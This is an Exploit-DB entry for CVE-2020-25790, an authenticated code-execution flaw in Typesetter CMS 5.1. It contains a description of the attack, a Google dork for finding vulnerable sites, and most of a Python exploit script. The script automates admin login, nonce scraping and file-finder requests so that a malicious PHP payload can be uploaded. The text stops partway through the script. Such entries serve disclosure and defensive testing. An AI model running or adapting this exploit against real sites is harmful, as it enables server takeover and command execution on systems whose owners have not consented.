Exploit-DB #48906
Description: Typesetter CMS 5.1 - Arbitrary Code Execution (Authenticated)
Type: webapps
Platform: php
Date: 2020-10-19
Author: Rodolfo Tavares

Exploit:
# Exploit Title: Typesetter CMS 5.1 - Arbitrary Code Execution
# Exploit Author: Rodolfo "t0gu" Tavares
# Contact: @t0guu (TW)
# Software Homepage: https://www.typesettercms.com/
# Version : 5.1
# Tested on: Linux / Apache
# Category: WebApp
# Google Dork: intext:"Powered by Typesetter"
# Date: 2020-09-29
# CVE : CVE-2020-25790

######## Description ########
#
# The CMS Typesetter has functionality (web interface) where it is possible
# through an account with privileges to perform uploads. Through this
# functionality, it is possible to upload a .zip file that contains a
# malicious .php file. In the same functionality, there is also the
# possibility to extract the file through the same web interface, the
# attacker only needs to extract the .zip that was previously loaded and
# click on the malicious .php file to execute commands in the operating
# system.
#

######## Exploit with Poc ########


https://github.com/t0gu/CVE-2020-25790

####### Code #######


# see the poc at https://github.com/t0gu/CVE-2020-25790

import argparse
from bs4 import BeautifulSoup
import requests
import sys
import  re


import urllib3
from urllib3.exceptions import InsecureRequestWarning

banner = """ 

 
 ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚ēó   ‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó    ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó  ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó  ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó       ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó  ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó 
‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚ēź‚ēź‚ēĚ‚Ėą‚Ėą‚ēĎ   ‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚ēź‚ēź‚ēĚ    ‚ēö‚ēź‚ēź‚ēź‚ēź‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚ēĒ‚ēź‚Ėą‚Ėą‚Ėą‚Ėą‚ēó‚ēö‚ēź‚ēź‚ēź‚ēź‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚ēĒ‚ēź‚Ėą‚Ėą‚Ėą‚Ėą‚ēó      ‚ēö‚ēź‚ēź‚ēź‚ēź‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚ēź‚ēź‚ēĚ‚ēö‚ēź‚ēź‚ēź‚ēź‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚ēĒ‚ēź‚Ėą‚Ėą‚Ėą‚Ėą‚ēó
‚Ėą‚Ėą‚ēĎ     ‚Ėą‚Ėą‚ēĎ   ‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚ēĒ‚Ėą‚Ėą‚ēĎ ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚ēĒ‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó    ‚Ėą‚Ėą‚ēĒ‚ēĚ‚ēö‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚ēĒ‚Ėą‚Ėą‚ēĎ
‚Ėą‚Ėą‚ēĎ     ‚ēö‚Ėą‚Ėą‚ēó ‚Ėą‚Ėą‚ēĒ‚ēĚ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚ēĚ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēĚ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚ēź‚ēĚ ‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚ēź‚ēĚ ‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ‚Ėą‚Ėą‚ēĎ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēĚ‚Ėą‚Ėą‚ēĒ‚ēź‚ēź‚ēź‚ēĚ ‚ēö‚ēź‚ēź‚ēź‚ēź‚Ėą‚Ėą‚ēĎ   ‚Ėą‚Ėą‚ēĒ‚ēĚ  ‚ēö‚ēź‚ēź‚ēź‚Ėą‚Ėą‚ēĎ‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ‚Ėą‚Ėą‚ēĎ
‚ēö‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó ‚ēö‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó    ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó‚ēö‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó‚ēö‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ      ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēó‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĎ   ‚Ėą‚Ėą‚ēĎ   ‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ‚ēö‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚Ėą‚ēĒ‚ēĚ
 ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ  ‚ēö‚ēź‚ēź‚ēź‚ēĚ  ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ    ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ       ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ   ‚ēö‚ēź‚ēĚ   ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēĚ  ‚ēö‚ēź‚ēź‚ēź‚ēź‚ēź‚ēĚ 
                                                                                                                                                                                                                    
by: t0gu


usage: main.py [-h] -p PASSWORD -l LOGIN -u URL

==> Exploit for CVE 2020-25790

optional arguments:
  -h, --help            show this help message and exit
  -p PASSWORD, --password PASSWORD
                        ==> admin password
  -l LOGIN, --login LOGIN
                        ==> admin login
  -u URL, --url URL     ==> main URL

  """

print(banner)
menu = argparse.ArgumentParser(description="==> Exploit for CVE 2020-25790")
menu.add_argument("-p", "--password", required=True, help="==> admin password")
menu.add_argument("-l", "--login", required=True, help="==> admin login")
menu.add_argument("-u", "--url", required=True, help="==> main URL")
menu.add_argument("-f", "--file", required=True, help="==> Malicous zip file with php file inside")
args = menu.parse_args()

login = args.login
password = args.password
url = args.url
file = args.file


PROXIES = proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "https://127.0.0.1:8080",
}


class Exploit:

    def __init__(self, login, password, url, file):
        self.login = login
        self.[CREDENTIAL_REDACTED]
        self.url = url
        self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari"
        self.file = open(file, 'rb')

    def get_nounce(self):
        try:
            url = self.url + "/Admin"
            r = requests.get(url=url, headers={'User-Agent': self.user_agent}, timeout=3, verify=False)
            data = r.text
            soap_obj = BeautifulSoup(data, 'html.parser')
            for inp in soap_obj.find_all("input"):
                for v in inp:
                    nounce = v['value']
                    if nounce != None or nounce != "":
                        return nounce
        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
            print(f'==> Error {e}')

    def get_hash_folders(self):

        cookie_auth = self.get_cookies()
        hash_verified = self.get_verified()
        data_post = {'verified': hash_verified, 'cmd': 'open', 'target':'', 'init': 1, 'tree': 1}
        try:
            url = self.url + "/Admin_Finder"
            r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': cookie_auth}, timeout=10, verify=False)
            json_data = r.json()
            hash_dir = json_data['files'][2]['hash']
            return hash_dir
        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
            print(f'==> Error {e}')

    def get_cookies(self):

        nounce = self.get_nounce()
        if nounce:
            try:
                url = self.url + "/Admin